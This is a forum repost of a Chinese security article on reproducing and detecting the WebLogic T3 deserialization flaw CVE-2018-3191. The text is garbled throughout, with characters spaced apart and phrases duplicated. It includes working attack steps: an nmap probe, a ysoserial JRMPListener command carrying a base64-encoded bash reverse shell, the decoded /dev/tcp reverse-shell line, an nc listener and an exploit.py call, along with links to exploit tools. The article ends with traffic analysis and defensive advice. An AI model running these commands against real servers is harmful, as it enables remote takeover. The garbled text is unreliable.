搜索

[13376] 2018-11-04_从流量侧浅谈WebLogic远程代码执行漏洞（CVE-2018-3191）

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2018-11-04_从流量侧浅谈WebLogic远程代码执行漏洞（CVE-2018-3191） 从 流 量 侧 浅 谈 W e b L o g i c 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 1 8 - 3 1 9 1 ） y a o n a g e b a i   F r e e B u f   2 0 1 8 - 1 1 - 0 4 一 、 前 言 一 、 前 言 在 不 久 前 在 不 久 前 O r a c l e 官 方 发 布 的 官 方 发 布 的 1 0 月 重 要 补 丁 更 新 公 告 月 重 要 补 丁 更 新 公 告 ( O r a c l e   C r i t i c a l   P a t c h   U p d a t e   A d v i s o r y   -   O c t o b e r   2 0 1 8 ) 中 中 发 布 了 五 个 基 于 发 布 了 五 个 基 于 T 3 协 议 的 协 议 的 W e b L o g i c 远 程 高 危 漏 洞 （ 远 程 高 危 漏 洞 （ C V E - 2 0 1 8 - 3 1 9 1 、 、 C V E - 2 0 1 8 - 3 1 9 7 、 、 C V E - 2 0 1 8 - 3 2 0 1 、 、 C V E - 2 0 1 8 - 3 2 4 5 、 、 C V E - 2 0 1 8 - 3 2 5 2 ） ， ） ， C V S S   3 . 0   B a s e   S c o r e 均 为 均 为 9 . 8 分 ， 版 本 涉 及 ： 分 ， 版 本 涉 及 ： 1 0 . 3 . 6 . 0 ,   1 2 . 1 . 3 . 0 , 1 2 . 2 . 1 . 3 , 本 文 将 针 对 其 中 影 响 较 大 的 本 文 将 针 对 其 中 影 响 较 大 的 C V E - 2 0 1 8 - 3 1 9 1 进 行 复 现 与 分 析 进 行 复 现 与 分 析 , 并 在 流 量 端 进 行 追 溯 。 并 在 流 量 端 进 行 追 溯 。 二 、 概 要 二 、 概 要 W e b l o g i c 是 目 前 全 球 市 场 上 应 用 最 广 泛 的 J 2 E E 工 具 之 一 ， 被 称 为 业 界 最 佳 的 应 用 程 序 服 务 器 ， 其 用 于 构 建 J 2 E E 应 用 程 序 ， 支 持 新 功 能 ， 可 降 低 运 营 成 本 ， 提 高 性 能 ， 增 强 可 扩 展 性 并 支 持 O r a c l e   A p p l i c a t i o n s 产 品 组 合 。 官 方 文 档 传 送 门 ： h t t p s : / / d o c s . o r a c l e . c o m / m i d d l e w a r e / 1 2 2 1 3 / w l s / I N T R O / i n t r o . h t m # I N T R O 1 2 3 。 关 于 关 于 T 3 协 议 ： 协 议 ： 说 到 T 3 协 议 就 不 得 不 提 起 J A V A 远 程 方 法 调 用 : J A V A   R M I ( J a v a   R e m o t e   M e t h o d   I n v o c a t i o n ) , 其 主 要 用 于 实 现 远 程 过 程 调 用 的 A p p l i c a t i o n 编 程 接 口 。 通 过 R M I 可 以 使 计 算 机 上 运 行 的 程 序 调 用 远 程 服 务 器 上 的 对 象 ， 其 目 的 是 使 得 远 程 接 口 对 象 的 使 用 尽 可 能 简 化 。 该 接 口 的 实 现 方 式 之 一 即 为 ： J R M P ( J a v a 远 程 消 息 交 换 协 议 ， J a v a   R e m o t e   M e s s a g e P r o t o c o l ） ） ， 也 可 以 使 用 C O R B A 兼 容 的 方 法 实 现 。 详 细 介 绍 请 参 考 ：   h t t p s : / / b l o g . c s d n . n e t / c d l 2 0 0 8 s k y / a r t i c l e / d e t a i l s / 6 8 4 4 7 1 9 。 T 3 协 议 是 用 于 W e b l o g i c 服 务 器 和 其 他 J a v a   A p p l i c a t i o n 之 间 传 输 信 息 的 协 议 ， 是 实 现 上 述 R M I 远 程 过 程 调 用 的 专 有 协 议 ， 其 允 许 客 户 端 进 行 J N D I 调 用 。 当 W e b l o g i c 发 起 一 个 T 3 协 议 连 接 的 时 候 ， W e b l o g i c 会 连 接 每 一 个 J a v a 虚 拟 机 并 传 输 流 量 ， 由 于 通 信 过 程 得 到 了 极 大 的 简 化 ， 所 以 使 得 其 在 操 作 系 统 资 源 利 用 上 实 现 的 高 效 以 及 最 大 化 ， 同 时 提 高 了 传 输 速 度 。
三 、 分 析 与 复 现 三 、 分 析 与 复 现 3 . 1   环 境 说 明 ： 环 境 说 明 ： 攻 击 机 ： 攻 击 机 ： 靶 机 ： 靶 机 ： 3 . 2   W e b l o g i c 服 务 信 息 的 快 速 检 测 服 务 信 息 的 快 速 检 测 首 先 ， 需 要 探 测 靶 机 W e b l o g i c 服 务 的 相 关 信 息 ， 通 过 使 用 N m a p 工 具 进 行 快 速 扫 描 ， 命 令 如 下 ： 如 下 图 标 记 所 示 ， 靶 机 的 W e b l o g i c 开 启 了 T 3 协 议 ， 且 属 于 受 C V E - 2 0 1 8 - 3 1 9 1 影 响 的 版 本 范 围 ， 因 此 ， 存 在 着 漏 洞 风 险 。 3 . 3   建 立 接 收 被 攻 击 方 建 立 接 收 被 攻 击 方 W e b l o g i c 请 求 的 请 求 的 J R M P   L i s t e n e r 在 获 取 靶 机 的 W e b l o g i c 版 本 及 T 3 协 议 的 相 关 信 息 后 ， 即 可 开 始 进 行 漏 洞 复 现 。 这 里 ， 我 们 需 要 使 用 到 y s o s e r i a l 工 具 ， 该 工 具 可 以 针 对 不 同 的 W e b l o g i c 产 品 给 出 漏 洞 利 用 脚 本 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / a n g e l w h u / y s o s e r i a l 。 y s o s e r i a l 工 具 基 本 使 用 方 法 ： 此 处 ， 我 们 在 终 端 输 入 命 令 ： 1 9 2 . 1 6 8 . 1 3 7 . 1 3 5   （ L i n u x     4 . 1 5 . 0 - k a l i 2 - a m d 6 4   # 1   S M P   D e b i a n   4 . 1 5 . 1 1 - 1 k a l i 1   x 8 6 _ 6 4   G N U / L i n u x ） 1 9 2 . 1 6 8 . 1 3 7 . 1 2 8   （ L i n u x   u b u n t u   4 . 1 5 . 0 - 3 6 - g e n e r i c   # 3 9 ~ 1 6 . 0 4 . 1 - U b u n t u   S M P     x 8 6 _ 6 4   G N U / L i n u x ） n m a p   - P n   - s V   1 9 2 . 1 6 8 . 1 3 7 . 1 2 8   - p 7 0 0 1   - - s c r i p t = w e b l o g i c - t 3 - i n f i . n s e j a v a   - c p   y s o s e r i a l - 0 . 0 . 6 - S N A P S H O T - B E T A - a l l . j a r   y s o s e r i a l . e x p l o i t . J R M P L i s t e n e r     【 p o r t 】   C o m m o n s C o l l e c t i o n s 1   ' 【 c o m m a n d s 】 '
目 的 是 在 本 地 建 立 一 个 J R M P L i s t e n e r   （ 批 注 ： （ 批 注 ： J a v a   R e m o t e   M e t h o d   P r o t o c o l ， ， J a v a 远 程 消 息 交 换 协 议 。 远 程 消 息 交 换 协 议 。 是 特 定 是 特 定 于 于 J a v a 技 术 的 、 用 于 查 找 和 引 用 远 程 对 象 的 协 议 。 这 是 运 行 在 技 术 的 、 用 于 查 找 和 引 用 远 程 对 象 的 协 议 。 这 是 运 行 在 R M I 之 下 、 之 下 、 T C P / I P 之 上 的 线 路 层 协 议 ） 之 上 的 线 路 层 协 议 ） ， 用 于 接 收 被 攻 击 方 的 W e b l o g i c 请 求 ， 并 执 行 指 定 的 b a s h 反 弹 命 令 。 命 令 后 半 段 的 b a s h 命 令 进 行 了 b a s e 6 4 转 码 解 码 的 操 作 ， 此 举 是 为 了 避 免 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( )   执 行 过 程 中 将 特 殊 符 号 转 义 ， 明 文 为 ： 下 图 可 以 看 到 ， 我 们 成 功 打 开 了 J R M P   l i s t e n e r ： 3 . 4   监 听 监 听 7 8 9 0 端 口 端 口 此 举 是 为 了 等 待 靶 机 反 弹 b a s h 连 接 。 3 . 5   执 行 执 行 E x p l o i t W e b l o g i c 发 起 远 程 方 法 调 用 ， 即 r m i 服 务 j a v a   - c p   y s o s e r i a l - m a s t e r . j a r   y s o s e r i a l . e x p l o i t . J R M P L i s t e n e r   2 3 4 5   C o m m o n s C o l l e c t i o n s 1   ' b a s h   - c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 x O T I u M T Y 4 L j E z N y 4 x M z U v N z g 5 M C A w P i Y x | { b a s e 6 4 , - d } | { b a s h , - i } ' b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 3 8 . 1 3 5 / 7 8 9 0   0 > & 1 n c   - l v v p   7 8 9 0 p y t h o n   e x p l o i t . p y   1 9 2 . 1 6 8 . 1 3 7 . 1 2 8   7 0 0 1   w e b l o g i c - s p r i n g - j n d i . j a r   1 9 2 . 1 6 8 . 1 3 7 . 1 3 5   2 3 4 5
上 图 可 以 看 到 ， 生 成 了 攻 击 载 荷 ， 且 注 入 成 功 ， 此 时 n c 监 听 的 端 口 会 收 到 反 弹 的 b a s h ， 获 得 r o o t 权 限 。 工 具 下 载 地 址 ： 工 具 下 载 地 址 ： C V E - 2 0 1 8 - 3 1 9 1   p a y l o a d 生 成 工 具 ： h t t p s : / / g i t h u b . c o m / v o i d f y o o / C V E - 2 0 1 8 - 3 1 9 1 / r e l e a s e s W e b l o g i c   T 3 协 议 发 送 工 具 ： h t t p s : / / g i t h u b . c o m / L i b r a g g b o n d / C V E - 2 0 1 8 - 3 1 9 1 （ 注 ： 工 具 安 全 性 请 自 行 查 验 ） （ 注 ： 工 具 安 全 性 请 自 行 查 验 ） 四 、 流 量 侧 捕 获 与 分 析 四 、 流 量 侧 捕 获 与 分 析 如 图 所 示 为 此 次 在 攻 击 过 程 中 在 流 量 侧 抓 取 的 数 据 包 ， 其 中 N o . 1 6 为 带 有 攻 击 载 荷 的 流 量 包 ： 经 过 对 T C P 流 的 追 踪 ， 我 们 可 以 在 此 基 础 上 进 行 详 细 分 析 。 4 . 1   通 过 通 过 T 3 协 议 进 行 通 信 协 议 进 行 通 信
4 . 2   J t a T r a n s a c t i o n M a n a g e r 类 类 由 于 此 前 O r a c l e 官 方 没 有 将 c o m . b e a . c o r e . r e p a c k a g e d 包 中 的 A b s t r a c t P l a t f o r m T r a n s a c t i o n M a n a g e r 类 加 入 到 黑 名 单 中 ， 因 此 导 致 了 S p r i n g   J N D I 注 入 的 发 生 。 通 过 我 们 对 C V E - 2 0 1 8 - 3 1 9 1   P O C 的 分 析 ， 在 此 类 中 ， 其 主 要 是 使 用 了 J t a T r a n s a c t i o n M a n a g e r 这 个 类 进 行 S p r i n g   J N D I 注 入 ， 这 点 我 们 也 可 以 在 流 量 端 有 所 发 现 ： 4 . 3   攻 击 攻 击 p a y l o a d 4 . 4   基 于 基 于 T 3 专 有 协 议 的 专 有 协 议 的 J a v a . r m i 远 程 方 法 调 用 远 程 方 法 调 用
综 上 ， 通 过 上 述 关 键 特 征 ， 我 们 可 以 很 快 提 取 出 w a f 相 关 防 御 规 则 。 五 、 防 御 建 议 五 、 防 御 建 议 根 据 本 文 上 述 分 析 ， 安 全 工 作 人 员 可 很 快 提 取 相 关 防 御 规 则 升 级 至 W A F 系 统 ， 由 于 攻 击 者 是 通 过 T 3 协 议 来 完 成 攻 击 ， 所 以 在 T 3 协 议 访 问 控 制 上 应 该 严 加 管 控 ， O R A C L E 在 本 次 1 0 月 重 要 披 露 中 除 C V E - 2 0 1 8 - 3 2 5 2 外 均 可 通 过 T 3 协 议 访 问 协 议 访 问 控 制 策 略 控 制 策 略 来 进 行 临 时 防 御 。 通 过 W e b l o g i c 中 b a s e _ d o m a i n 的 设 置 页 面 的 的 设 置 页 面 的 " 安 全 安 全 " - > " 筛 选 器 筛 选 器 " 来 进 行 配 置 和 防 御 来 进 行 配 置 和 防 御 ， 具 体 方 法 不 再 赘 述 ， 请 参 考 网 络 资 料 。 由 于 本 次 公 开 的 漏 洞 涉 及 到 了 几 个 较 大 的 版 本 号 ， 所 以 影 响 还 是 非 常 大 的 ， 建 议 受 漏 洞 影 响 的 用 户 尽 快 升 级 或 更 新 补 丁 来 进 行 防 护 。 鉴 于 W e b l o g i c 在 防 御 反 序 列 化 漏 洞 上 通 常 采 用 黑 名 单 的 方 式 ， 黑 名 单 在 攻 击 防 御 侧 存 在 严 重 弊 端 ， 所 以 在 升 级 版 本 或 更 新 补 丁 的 同 时 建 议 将 建 议 将 J D K 版 本 升 级 至 最 新 版 本 版 本 升 级 至 最 新 版 本 。 官 方 修 复 链 接 与 说 明 ： 官 方 修 复 链 接 与 说 明 ： h t t p s : / / w w w . o r a c l e . c o m / t e c h n e t w o r k / s e c u r i t y - a d v i s o r y / c p u o c t 2 0 1 8 - 4 4 2 8 2 9 6 . h t m l * 本 文 作 者 ： 安 天 本 文 作 者 ： 安 天   W e b 安 全 团 队 ， 转 载 请 注 明 来 自 安 全 团 队 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理